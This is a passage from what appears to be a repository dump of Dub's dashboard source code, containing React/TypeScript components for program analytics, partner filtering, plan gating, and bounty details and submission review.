\"leads\" : \"sales\"),\n      saleUnit: \"saleAmount\",\n      view: \"timeseries\",\n      ...rest,\n    } as ContextType<typeof AnalyticsContext>;\n  }, [searchParamsObj]);\n\n  const queryString = editQueryString(\n    useAnalyticsQuery({\n      defaultEvent: program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"sales\",\n      defaultInterval: DUB_PARTNERS_ANALYTICS_INTERVAL,\n    }).queryString,\n    {\n      programId: defaultProgramId!,\n    },\n  );\n\n  const { data: totalEvents } = useSWR<{\n    [key in AnalyticsResponseOptions]: number;\n  }>(\n    `/api/analytics?${editQueryString(queryString ?? \"\", {\n      event: \"composite\",\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    onRemoveFilter,\n    onOpenFilter,\n    onToggleOperator,\n    streaming,\n    activeFiltersWithStreaming,\n  } = useAnalyticsFilters({\n    context: {\n      baseApiPath: \"/api/analytics\",\n      queryString,\n      selectedTab,\n      saleUnit,\n    },\n    programPage: true,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-3 pb-12\">\n      <div>\n        <div className=\"flex items-center gap-2\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onOpenFilter={onOpenFilter}\n            isAdvancedFilter\n            askAI\n          />\n          <SimpleDateRangePicker align=\"start\" className=\"w-fit\" />\n          <div className=\"flex grow justify-end gap-2\">\n            <Link\n              href={`/${slug}/events${getQueryString({ folderId: program?.defaultFolderId, event: selectedTab, interval })}`}\n            >\n              <Button\n                variant=\"secondary\"\n                className=\"w-fit\"\n                icon={\n                  <SquareLayoutGrid6 className=\"h-4 w-4 text-neutral-600\" />\n                }\n                text={isMobile ? undefined : \"View Events\"}\n              />\n            </Link>\n          </div>\n        </div>\n        <div>\n          <div\n            className={cn(\n              \"transition-[height] duration-[300ms]\",\n              streaming || activeFilters.length ? \"h-3\" : \"h-0\",\n            )}\n          />\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFiltersWithStreaming}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveFilter={onRemoveFilter}\n            onRemoveAll={onRemoveAll}\n            onToggleOperator={onToggleOperator}\n            isAdvancedFilter\n          />\n        </div>\n      </div>\n      <AnalyticsContext.Provider\n        value={{\n          basePath: \"\",\n          baseApiPath: \"/api/analytics\",\n          selectedTab,\n          saleUnit,\n          view,\n          queryString,\n          start: start ? new Date(start) : undefined,\n          end: end ? new Date(end) : undefined,\n          interval,\n          totalEvents,\n        }}\n      >\n        <div className=\"border-border-subtle divide-border-subtle divide-y overflow-hidden rounded-xl border sm:rounded-2xl\">\n          <AnalyticsChart />\n          <AnalyticsPartnersTable />\n        </div>\n\n        <div className=\"grid grid-cols-1 gap-5 md:grid-cols-2\">\n          <PartnerSection />\n          <ReferrersUTMs />\n          <LocationSection />\n          <DeviceSection />\n        </div>\n      </AnalyticsContext.Provider>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/page.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport WorkspaceExceededEvents from \"@/ui/workspaces/workspace-exceeded-events\";\nimport { ProgramAnalyticsPageClient } from \"./page-client\";\n\nexport default function ProgramAnalytics() {\n  return (\n    <PageContent\n      title=\"Analytics\"\n      titleInfo={{\n        title:\n          \"Learn how to use Dub to track and measure your program's performance.\",\n        href: \"https://dub.co/help/article/program-analytics\",\n      }}\n    >\n      <PageWidthWrapper>\n        <ProgramAnalyticsPageWrapper />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n\nfunction ProgramAnalyticsPageWrapper() {\n  const { exceededEvents } = useWorkspace();\n\n  if (exceededEvents) {\n    return <WorkspaceExceededEvents />;\n  }\n\n  return <ProgramAnalyticsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/analytics/partner-analytics-filter-cell.tsx",
    "content": "\"use client\";\n\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { FilterBars } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\n\ninterface PartnerAnalyticsFilterCellProps {\n  partner: {\n    id: string;\n    name: string;\n    image?: string | null;\n  };\n  partnerId: string;\n  isStaged: boolean;\n  isApplied: boolean;\n  onToggle: () => void;\n}\n\nexport function PartnerAnalyticsFilterCell({\n  partner,\n  partnerId,\n  isStaged,\n  isApplied,\n  onToggle,\n}: PartnerAnalyticsFilterCellProps) {\n  const { slug } = useParams() as { slug: string };\n\n  return (\n    <div\n      role={!isApplied ? \"button\" : undefined}\n      tabIndex={!isApplied ? 0 : -1}\n      aria-disabled={isApplied}\n      className={cn(\n        \"flex select-none items-center gap-2\",\n        !isApplied && \"cursor-pointer\",\n        \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-neutral-400 focus-visible:ring-offset-1\",\n      )}\n      onClick={isApplied ? undefined : onToggle}\n      onKeyDown={\n        !isApplied\n          ? (e) => {\n              if (e.key === \"Enter\" || e.key === \" \") {\n                e.preventDefault();\n                onToggle();\n              }\n            }\n          : undefined\n      }\n    >\n      <div className=\"relative size-6 shrink-0\">\n        <div\n          className={cn(\n            \"flex size-full items-center justify-center transition-all duration-200\",\n            isStaged\n              ? \"translate-x-3 opacity-0\"\n              : \"group-hover:translate-x-3 group-hover:opacity-0\",\n          )}\n        >\n          <PartnerAvatar partner={partner} className=\"size-5\" />\n        </div>\n\n        <div className=\"absolute inset-0 flex items-center justify-center\">\n          <div\n            className={cn(\n              \"flex size-6 shrink-0 items-center justify-center rounded-lg transition-all duration-200\",\n              isStaged\n                ? \"pointer-events-none translate-x-0 opacity-100\"\n                : cn(\n                    \"-translate-x-3 opacity-0 group-hover:translate-x-0 group-hover:opacity-100\",\n                    \"pointer-events-none\",\n                  ),\n              isStaged || isApplied\n                ? \"bg-neutral-900\"\n                : \"border border-neutral-200 bg-white\",\n            )}\n          >\n            <FilterBars\n              className={cn(\n                \"size-3\",\n                isStaged || isApplied ? \"text-white\" : \"text-neutral-500\",\n              )}\n            />\n          </div>\n        </div>\n      </div>\n\n      <Link\n        href={`/${slug}/program/partners/${partnerId}`}\n        target=\"_blank\"\n        onClick={(e) => e.stopPropagation()}\n        className=\"min-w-0 cursor-alias truncate decoration-dotted hover:underline\"\n        title={partner.name}\n      >\n        {partner.name}\n      </Link>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/auth.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { isLegacyBusinessPlan } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { PartnersUpgradeCTA } from \"./partners-upgrade-cta\";\n\nexport default function ProgramAuth({ children }: { children: ReactNode }) {\n  const { plan, defaultProgramId, payoutsLimit, loading } = useWorkspace();\n  const { loading: programLoading } = useProgram();\n\n  if (loading || (defaultProgramId && programLoading)) {\n    return <LayoutLoader />;\n  }\n\n  if (\n    !defaultProgramId ||\n    !getPlanCapabilities(plan).canManageProgram ||\n    isLegacyBusinessPlan({ plan, payoutsLimit })\n  ) {\n    return (\n      <PageContent>\n        <PartnersUpgradeCTA />\n      </PageContent>\n    );\n  }\n\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/bounty-header.tsx",
    "content": "\"use client\";\n\nimport useBounty from \"@/lib/swr/use-bounty\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ChevronRight, Trophy } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\n\nexport function BountyHeaderTitle() {\n  const { bounty, loading } = useBounty();\n  const { slug: workspaceSlug } = useWorkspace();\n\n  if (loading) {\n    return <div className=\"h-7 w-32 animate-pulse rounded-md bg-neutral-200\" />;\n  }\n\n  if (!bounty && !loading) {\n    redirect(`/${workspaceSlug}/program/bounties`);\n  }\n\n  return (\n    <div className=\"flex items-center gap-1\">\n      <Link\n        href={`/${workspaceSlug}/program/bounties`}\n        aria-label=\"Back to bounties\"\n        title=\"Back to bounties\"\n        className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n      >\n        <Trophy className=\"size-4\" />\n      </Link>\n\n      <div className=\"flex items-center gap-1.5\">\n        <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 [&_*]:stroke-2\" />\n        <span className=\"text-lg font-semibold leading-7 text-neutral-900\">\n          Bounty details\n        </span>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/bounty-info.tsx",
    "content": "\"use client\";\n\nimport useBounty from \"@/lib/swr/use-bounty\";\nimport {\n  SubmissionsCountByStatus,\n  useBountySubmissionsCount,\n} from \"@/lib/swr/use-bounty-submissions-count\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport { usePartnersCountByGroupIds } from \"@/lib/swr/use-partners-count-by-groupids\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyRewardDescription } from \"@/ui/partners/bounties/bounty-reward-description\";\nimport { BountyThumbnailImage } from \"@/ui/partners/bounties/bounty-thumbnail-image\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { ScrollableTooltipContent, Tooltip } from \"@dub/ui\";\nimport { Calendar6, Users, Users6 } from \"@dub/ui/icons\";\nimport { formatDate, nFormatter, pluralize } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport { BountyActionButton } from \"../bounty-action-button\";\n\nexport function BountyInfo() {\n  const { bounty, loading } = useBounty();\n  const { isOwner } = useWorkspace();\n\n  const { submissionsCount } = useBountySubmissionsCount<\n    SubmissionsCountByStatus[]\n  >({\n    ignoreParams: true,\n    enabled: Boolean(bounty),\n  });\n\n  const totalSubmissions = useMemo(() => {\n    return submissionsCount\n      ?.filter((s) => s.status === \"submitted\" || s.status === \"approved\")\n      ?.reduce((acc, curr) => acc + curr.count, 0);\n  }, [submissionsCount]);\n\n  const readyForReviewSubmissions = useMemo(() => {\n    return submissionsCount?.find((s) => s.status === \"submitted\")?.count ?? 0;\n  }, [submissionsCount]);\n\n  const { totalPartners, loading: totalPartnersForBountyLoading } =\n    usePartnersCountByGroupIds({\n      groupIds: bounty?.groups?.map((group) => group.id) ?? [],\n    });\n\n  const { groups } = useGroups();\n\n  const eligibleGroups = useMemo(() => {\n    if (!groups || !bounty || bounty.groups.length === 0) {\n      return [];\n    }\n    return bounty.groups\n      .map((bountyGroup) => groups.find((g) => g.id === bountyGroup.id))\n      .filter((g): g is NonNullable<typeof g> => g !== undefined);\n  }, [groups, bounty]);\n\n  if (loading) {\n    return <BountyInfoSkeleton />;\n  }\n\n  if (!bounty) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex flex-col gap-3 sm:flex-row sm:items-start sm:gap-6\">\n      <div className=\"relative flex h-[100px] w-full items-center justify-center rounded-lg bg-neutral-100 p-4 sm:h-[128px] sm:w-[100px] sm:shrink-0\">\n        <BountyThumbnailImage bounty={bounty} />\n        <div className=\"absolute right-2 top-2 sm:hidden\">\n          <BountyActionButton bounty={bounty} />\n        </div>\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-col gap-1.5\">\n        <h3 className=\"break-words text-base font-semibold leading-6 text-neutral-900 sm:truncate\">\n          {bounty.name}\n        </h3>\n\n        <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n          <Calendar6 className=\"size-4 shrink-0\" />\n          <span>\n            {formatDate(bounty.startsAt, { month: \"short\" })}\n            {\" → \"}\n            {bounty.endsAt\n              ? formatDate(bounty.endsAt, { month: \"short\" })\n              : \"No end date\"}\n          </span>\n        </div>\n\n        <BountyRewardDescription bounty={bounty} className=\"font-regular\" />\n\n        <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n          <Users className=\"size-4 shrink-0\" />\n          <div>\n            {totalPartnersForBountyLoading ? (\n              <span className=\"inline-block h-4 w-8 animate-pulse rounded bg-neutral-200 align-middle\" />\n            ) : totalPartners === 0 ? (\n              <>\n                <span className=\"text-content-default\">0</span>{\" \"}\n                {pluralize(\"partner\", 0)}{\" \"}\n                {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n              </>\n            ) : totalSubmissions === totalPartners ? (\n              <>\n                All{\" \"}\n                <span className=\"text-content-default\">\n                  {nFormatter(totalPartners, { full: true })}\n                </span>{\" \"}\n                {pluralize(\"partner\", totalPartners)}{\" \"}\n                {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n              </>\n            ) : (\n              <>\n                <span className=\"text-content-default\">\n                  {nFormatter(totalSubmissions ?? 0, {\n                    full: true,\n                  })}\n                </span>{\" \"}\n                of{\" \"}\n                <span className=\"text-content-default\">\n                  {nFormatter(totalPartners, { full: true })}\n                </span>{\" \"}\n                {pluralize(\"partner\", totalPartners)}{\" \"}\n                {bounty.type === \"performance\" ? \"completed\" : \"submitted\"}\n              </>\n            )}\n            {readyForReviewSubmissions > 0 && (\n              <>\n                {\" \"}\n                (\n                <span className=\"text-content-default\">\n                  {nFormatter(readyForReviewSubmissions, { full: true })}\n                </span>{\" \"}\n                awaiting review)\n              </>\n            )}\n          </div>\n        </div>\n\n        {isOwner && (\n          <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n            <Users6 className=\"size-4 shrink-0\" />\n            {bounty.groups.length === 0 ? (\n              <span>All groups</span>\n            ) : eligibleGroups.length === 1 ? (\n              <div className=\"flex items-center gap-1.5\">\n                <GroupColorCircle group={eligibleGroups[0]} />\n                <span className=\"truncate\">{eligibleGroups[0].name}</span>\n              </div>\n            ) : eligibleGroups.length > 1 ? (\n              <Tooltip\n                content={\n                  <ScrollableTooltipContent>\n                    {eligibleGroups.map((group) => (\n                      <div key={group.id} className=\"flex items-center gap-2\">\n                        <GroupColorCircle group={group} />\n                        <span className=\"font-regular text-sm text-neutral-700\">\n                          {group.name}\n                        </span>\n                      </div>\n                    ))}\n                  </ScrollableTooltipContent>\n                }\n              >\n                <div className=\"flex items-center gap-1.5\">\n                  <GroupColorCircle group={eligibleGroups[0]} />\n                  <span className=\"truncate\">\n                    {eligibleGroups[0].name} +{eligibleGroups.length - 1}\n                  </span>\n                </div>\n              </Tooltip>\n            ) : null}\n          </div>\n        )}\n      </div>\n\n      <div className=\"hidden items-start sm:flex\">\n        <BountyActionButton bounty={bounty} />\n      </div>\n    </div>\n  );\n}\n\nfunction BountyInfoSkeleton() {\n  return (\n    <div className=\"flex flex-col items-center gap-3 sm:flex-row sm:items-start sm:gap-6\">\n      <div className=\"relative flex h-[100px] w-[100px] shrink-0 items-center justify-center rounded-lg bg-neutral-100 p-3 sm:h-[128px]\" />\n      <div className=\"flex min-w-0 flex-1 flex-col gap-1.5\">\n        <div className=\"h-6 w-48 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"flex items-center space-x-2\">\n          <div className=\"size-4 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-5 w-32 animate-pulse rounded bg-neutral-200\" />\n        </div>\n        <div className=\"flex items-center space-x-2\">\n          <div className=\"size-4 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-5 w-48 animate-pulse rounded bg-neutral-200\" />\n        </div>\n        <div className=\"flex items-center space-x-2\">\n          <div className=\"size-4 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-5 w-40 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n      <div className=\"flex items-start\">\n        <div className=\"h-9 w-24 animate-pulse rounded-md bg-neutral-200\" />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/[bountyId]/bounty-submission-details-sheet.tsx",
    "content": "\"use client\";\n\nimport { REJECT_BOUNTY_SUBMISSION_REASONS } from \"@/lib/bounty/constants\";\nimport { calculateSocialMetricsRewardAmount } from \"@/lib/bounty/rewards\";\nimport { BOUNTY_SUBMISSION_STATUS_BADGES } from \"@/lib/bounty/submission-status\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useBounty from \"@/lib/swr/use-bounty\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountySubmissionProps } from \"@/lib/types\";\nimport { useConfirmApproveBountySubmissionModal } from \"@/ui/modals/confirm-approve-bounty-submission-modal\";\nimport { PLATFORM_ICONS } from \"@/ui/partners/bounties/bounty-platform-icons\";\nimport { EmphasisNumber } from \"@/ui/partners/bounties/bounty-progress-bar-row\";\nimport { getBountyRewardCriteria } from \"@/ui/partners/bounties/bounty-reward-criteria\";\nimport { BountySocialContentPreview } from \"@/ui/partners/bounties/bounty-social-content-preview\";\nimport { BountySocialMetricsRewardsTable } from \"@/ui/partners/bounties/bounty-social-metrics-rewards-table\";\nimport { useRejectBountySubmissionModal } from \"@/ui/partners/bounties/reject-bounty-submission-modal\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { AmountInput } from \"@/ui/shared/amount-input\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  CopyButton,\n  DynamicTooltipWrapper,\n  Sheet,\n  StatusBadge,\n  Tooltip,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { CircleHalfDottedClock } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  formatDate,\n  getPrettyUrl,\n  nFormatter,\n  timeAgo,\n} from \"@dub/utils\";\nimport Linkify from \"linkify-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ntype BountySubmissionDetailsSheetProps = {\n  submission: BountySubmissionProps;\n  onNext?: () => void;\n  onPrevious?: () => void;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction BountySubmissionDetailsSheetContent({\n  submission,\n  onPrevious,\n  onNext,\n  setIsOpen,\n}: BountySubmissionDetailsSheetProps) {\n  const { bounty } = useBounty();\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const { setShowRejectModal, RejectBountySubmissionModal } =\n    useRejectBountySubmissionModal(submission, onNext);\n\n  const {\n    openConfirmApproveBountySubmissionModal,\n    ConfirmApproveBountySubmissionModal,\n  } = useConfirmApproveBountySubmissionModal({\n    onApproveSuccess: () => (onNext ? onNext() : setIsOpen(false)),\n  });\n\n  const [rewardAmount, setRewardAmount] = useState<number | null>(null);\n\n  const { isSubmitting: isRefreshingSocialMetrics, makeRequest } =\n    useApiMutation();\n\n  const refreshSubmissionSocialMetrics = useCallback(() => {\n    if (!bounty?.id || !submission?.id) return;\n\n    makeRequest(`/api/bounties/${bounty.id}/sync-social-metrics`, {\n      method: \"POST\",\n      body: { submissionId: submission.id },\n      onSuccess: async () => {\n        await mutatePrefix(`/api/bounties/${bounty.id}/submissions`);\n        toast.success(\"Social content stats updated successfully.\");\n      },\n      onError: (error) => {\n        toast.error(error);\n      },\n    });\n  }, [bounty?.id, submission?.id, makeRequest]);\n\n  // right arrow key onNext\n  useKeyboardShortcut(\n    \"ArrowRight\",\n    () => {\n      if (onNext) {\n        onNext();\n      }\n    },\n    { sheet: true },\n  );\n\n  // left arrow key onPrevious\n  useKeyboardShortcut(\n    \"ArrowLeft\",\n    () => {\n      if (onPrevious) {\n        onPrevious();\n      }\n    },\n    { sheet: true },\n  );\n\n  useKeyboardShortcut(\n    \"a\",\n    () => {\n      if (isValidForm && submission.status !== \"draft\") {\n        openConfirmApproveBountySubmissionModal(\n          submission,\n          bounty ?? null,\n          rewardAmount,\n        );\n      }\n    },\n    { sheet: true },\n  );\n\n  useKeyboardShortcut(\n    \"r\",\n    () => {\n      if (submission.status !== \"draft\" && submission.status !== \"rejected\") {\n        setShowRejectModal(true);\n      }\n    },\n    { sheet: true },\n  );\n\n  const isValidForm = useMemo(() => {\n    if (bounty?.rewardAmount) {\n      return true;\n    }\n\n    if (!rewardAmount) {\n      return false;\n    }\n\n    return true;\n  }, [bounty, rewardAmount]);\n\n  if (!submission || !submission.partner || !bounty) {\n    return null;\n  }\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const criteriaTexts = bounty ? getBountyRewardCriteria(bounty) : [];\n\n  const hasSocialContent =\n    bountyInfo?.hasSocialMetrics && (submission.urls?.length ?? 0) > 0;\n\n  const socialPlatform = bountyInfo?.socialPlatform;\n  const SocialPlatformIcon = socialPlatform\n    ? PLATFORM_ICONS[socialPlatform.value]\n    : null;\n  const socialMetricCount = submission.socialMetricCount ?? 0;\n  const socialMinCount = bountyInfo?.socialMetrics?.minCount ?? 0;\n  const socialMetricPercent =\n    socialMinCount > 0\n      ? Math.min((socialMetricCount / socialMinCount) * 100, 100)\n      : 100;\n  const socialMetricComplete = socialMetricPercent >= 100;\n\n  return (\n    <div className=\"flex h-full flex-col\">\n      <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-white\">\n        <div className=\"flex h-16 items-center justify-between px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            Review bounty submission\n          </Sheet.Title>\n          <div className=\"flex items-center gap-4\">\n            <div className=\"flex items-center\">\n              <Button\n                type=\"button\"\n                disabled={!onPrevious}\n                onClick={onPrevious}\n                variant=\"secondary\"\n                className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n                icon={<ChevronLeft className=\"size-3.5\" />}\n              />\n              <Button\n                type=\"button\"\n                disabled={!onNext}\n                onClick={onNext}\n                variant=\"secondary\"\n                className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n                icon={<ChevronRight className=\"size-3.5\" />}\n              />\n            </div>\n            <Sheet.Close asChild>\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-5\" />}\n                className=\"h-auto w-fit p-1\"\n              />\n            </Sheet.Close>\n          </div>\n        </div>\n      </div>\n\n      <div className=\"flex grow flex-col\">\n        <div className=\"px-6 pt-6\">\n          <div className=\"flex items-center gap-4 rounded-xl bg-neutral-100 px-4 py-3\">\n            <PartnerAvatar partner={submission.partner} className=\"size-10\" />\n            <div className=\"min-w-0 flex-1\">\n              <div className=\"text-base font-semibold text-neutral-800\">\n                {submission.partner.name}\n              </div>\n              <div className=\"text-sm font-medium text-neutral-500\">\n                {submission.partner.email}\n              </div>\n            </div>\n            <ButtonLink\n              href={`/${workspaceSlug}/program/partners/${submission.partner.id}`}\n              variant=\"secondary\"\n              className=\"h-8 shrink-0 px-3 text-sm font-medium\"\n              target=\"_blank\"\n            >\n              View\n            </ButtonLink>\n          </div>\n        </div>\n\n        <div className=\"flex grow flex-col gap-6 overflow-y-auto p-6\">\n          <div>\n            <h2 className=\"text-base font-semibold text-neutral-900\">\n              Details\n            </h2>\n\n            <div className=\"mt-3 max-w-md space-y-2\">\n              {[\n                {\n                  label: \"Status\",\n                  value: (\n                    <StatusBadge\n                      variant={\n                        BOUNTY_SUBMISSION_STATUS_BADGES[submission.status]\n                          .variant\n                      }\n                      icon={\n                        BOUNTY_SUBMISSION_STATUS_BADGES[submission.status].icon\n                      }\n                    >\n                      {BOUNTY_SUBMISSION_STATUS_BADGES[submission.status].label}\n                    </StatusBadge>\n                  ),\n                },\n                {\n                  label:\n                    bounty?.type === \"performance\" ? \"Completed\" : \"Submitted\",\n                  value: submission.completedAt\n                    ? formatDate(submission.completedAt, {\n                        month: \"short\",\n                      })\n                    : \"-\",\n                },\n                ...(bountyInfo?.socialMetrics\n                  ? [\n                      {\n                        label: \"Criteria\",\n                        value:\n                          criteriaTexts.length > 1 ? (\n                            <DynamicTooltipWrapper\n                              tooltipProps={{\n                                // remove first item from criteriaTexts\n                                content: criteriaTexts.slice(1).join(\"\\n\"),\n                                align: \"end\",\n                              }}\n                            >\n                              <div\n                                className={cn(\n                                  \"w-fit text-sm font-medium text-neutral-800\",\n                                  \"cursor-help underline decoration-dotted underline-offset-2\",\n                                )}\n                              >\n                                {`${bountyInfo.socialMetrics.minCount} ${bountyInfo.socialMetrics.metric}`}\n                              </div>\n                            </DynamicTooltipWrapper>\n                          ) : (\n                            `${bountyInfo.socialMetrics.minCount} ${bountyInfo.socialMetrics.metric}`\n                          ),\n                      },\n                    ]\n                  : []),\n                ...(submission.status === \"rejected\"\n                  ? [\n                      {\n                        label: \"Rejection reason\",\n                        value:\n                          submission.rejectionReason &&\n                          REJECT_BOUNTY_SUBMISSION_REASONS[\n                            submission.rejectionReason as keyof typeof REJECT_BOUNTY_SUBMISSION_REASONS\n                          ],\n                      },\n                    ]\n                  : [\n                      {\n                        label: \"Reward\",\n                        value: (() => {\n                          if (submission.commission?.earnings != null) {\n                            return currencyFormatter(\n                              submission.commission.earnings,\n                            );\n                          }\n                          const estimatedEarnings =\n                            calculateSocialMetricsRewardAmount({\n                              bounty,\n                              submission,\n                            });\n                          if (\n                            estimatedEarnings != null &&\n                            estimatedEarnings > 0\n                          ) {\n                            return (\n                              <Tooltip content=\"Estimated earnings based on reached reward tiers\">\n                                <div className=\"hover:text-content-emphasis text-content-muted flex w-fit cursor-help items-center gap-1 underline decoration-dotted underline-offset-2\">\n                                  <CircleHalfDottedClock className=\"size-3.5 shrink-0\" />{\" \"}\n                                  {currencyFormatter(estimatedEarnings)}\n                                </div>\n                              </Tooltip>\n                            );\n                          }\n                          return \"-\";\n                        })(),\n                      },\n                    ]),\n              ].map((item, index) => (\n                <div key={index} className=\"grid grid-cols-2 gap-6\">\n                  <span className=\"text-sm font-medium text-neutral-500\">\n                    {item.label}\n                  </span>\n                  <span className=\"text-sm font-medium text-neutral-800\">\n                    {item.value}\n                  </span>\n                </div>\n              ))}\n            </div>\n\n            {/* Rejection details for rejected submissions */}\n            {submission.status === \"rejected\" && submission.rejectionNote && (\n              <div className=\"mt-4 rounded-lg border border-red-200 bg-red-50 p-4\">\n                <Linkify\n                  as=\"p\"\n                  options={{\n                    target: \"_blank\",\n                    rel: \"noopener noreferrer nofollow\",\n                    format: (href) => getPrettyUrl(href),\n                    className:\n                      \"underline underline-offset-4 text-red-400 hover:text-red-700\",\n                  }}\n                  className=\"mt-1 whitespace-pre-wrap text-sm text-red-800\"\n                >\n                  {submission.rejectionNote}\n                </Linkify>\n              </div>\n            )}\n          </div>\n\n          {bounty?.type === \"submission\" && (\n            <div>\n              <div className=\"flex items-center justify-between gap-4\">\n                <h2 className=\"text-base font-semibold text-neutral-900\">\n                  Submission\n                </h2>\n                {hasSocialContent && submission.status !== \"approved\" && (\n                  <div className=\"flex shrink-0 items-center gap-3\">\n                    {submission.socialMetricsLastSyncedAt ? (\n                      <span className=\"whitespace-nowrap text-xs font-medium text-neutral-500\">\n                        Last sync{\" \"}\n                        {timeAgo(submission.socialMetricsLastSyncedAt, {\n                          withAgo: true,\n                        })}\n                      </span>\n                    ) : null}\n                    <Button\n                      variant=\"secondary\"\n                      text=\"Refresh\"\n                      loading={isRefreshingSocialMetrics}\n                      onClick={refreshSubmissionSocialMetrics}\n                      className=\"h-8 rounded-lg px-3\"\n                    />\n                  </div>\n                )}\n              </div>\n\n              <div className=\"mt-3 flex flex-col gap-6\">\n                {hasSocialContent && (\n                  <div className=\"rounded-xl border border-neutral-200 bg-neutral-50\">\n                    <div className=\"flex flex-col gap-3 px-4 pb-3 pt-4\">\n                      <div className=\"h-1 w-full rounded-full bg-neutral-200\">\n                        <div\n                          className={cn(\n                            \"h-full rounded-full\",\n                            socialMetricComplete\n                              ? \"bg-green-600\"\n                              : \"bg-amber-600\",\n                          )}\n                          style={{ width: `${socialMetricPercent}%` }}\n                        />\n                      </div>\n\n                      {SocialPlatformIcon && bountyInfo?.socialMetrics && (\n                        <div className=\"flex items-center gap-2\">\n                          <SocialPlatformIcon className=\"size-4 shrink-0\" />\n                          <p className=\"text-sm font-medium text-neutral-600\">\n                            <EmphasisNumber>\n                              {nFormatter(socialMetricCount, { full: true })}\n                            </EmphasisNumber>\n                            {\" of \"}\n                            <EmphasisNumber>\n                              {nFormatter(socialMinCount, { full: true })}\n                            </EmphasisNumber>\n                            {` ${bountyInfo.socialMetrics.metric} generated`}\n                          </p>\n                        </div>\n                      )}\n                    </div>\n                    <BountySocialContentPreview\n                      bounty={bounty}\n                      submission={submission}\n                    />\n                  </div>\n                )}\n\n                {bountyInfo?.hasSocialMetrics &&\n                  [\"draft\", \"submitted\", \"approved\"].includes(\n                    submission.status,\n                  ) && (\n                    <BountySocialMetricsRewardsTable\n                      bounty={bounty}\n                      submission={submission}\n                    />\n                  )}\n\n                {Boolean(submission.files?.length) && (\n                  <div>\n                    <h2 className=\"text-content-emphasis text-sm font-medium\">\n                      Files\n                    </h2>\n                    <div className=\"mt-2 flex flex-wrap gap-4\">\n                      